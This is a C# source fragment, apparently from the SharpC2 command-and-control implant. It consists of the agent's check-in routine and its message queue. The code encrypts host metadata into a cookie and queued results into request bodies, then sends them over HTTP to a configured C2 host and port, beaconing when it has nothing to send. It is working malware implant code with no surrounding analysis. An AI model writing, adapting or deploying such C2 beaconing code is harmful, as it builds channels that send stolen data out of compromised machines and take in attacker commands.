private void AgentCheckIn() { var host = Config.GetOption(ConfigSetting.ConnectHosts) as string; var port = Config.GetOption(ConfigSetting.ConnectPort) as string; var metadata = Config.GetOption(ConfigSetting.Metadata) as AgentMetadata; var encryptedMetadata = Crypto.Encrypt(metadata); var client = new WebClient(); client.Headers.Clear(); client.Headers.Add("X-Malware", "SharpC2"); client.Headers[HttpRequestHeader.Cookie] = string.Format("{0}={1}", "Metadata", Convert.ToBase64String(encryptedMetadata)); client.DownloadDataCompleted += DownloadDataCallback; client.UploadDataCompleted += UploadDataCallback; List <AgentMessage> agentMessages = new List <AgentMessage>(); if (OutboundC2Data.Count > 0) { while (OutboundC2Data.Count != 0) { agentMessages.Add(OutboundC2Data.Dequeue()); } var encryptedAgentMessage = Crypto.Encrypt(agentMessages); var dataToSend = string.Format("Message={0}", Convert.ToBase64String(encryptedAgentMessage)); var uri = new Uri(string.Format("http://{0}:{1}", host, port)); client.UploadDataAsync(uri, Encoding.UTF8.GetBytes(dataToSend)); } else { agentMessages.Add(new AgentMessage { IdempotencyKey = Guid.NewGuid().ToString(), Metadata = new AgentMetadata { AgentID = metadata.AgentID }, Data = new C2Data { Module = "Core", Command = "AgentCheckIn" } }); var encryptedAgentMessage = Crypto.Encrypt(agentMessages); var dataToSend = string.Format("Message={0}", Convert.ToBase64String(encryptedAgentMessage)); var uri = new Uri(string.Format("http://{0}:{1}?{2}", host, port, dataToSend)); client.DownloadDataAsync(uri); } client.Dispose(); }
public void SendData(AgentMessage message) { OutboundC2Data.Enqueue(message); }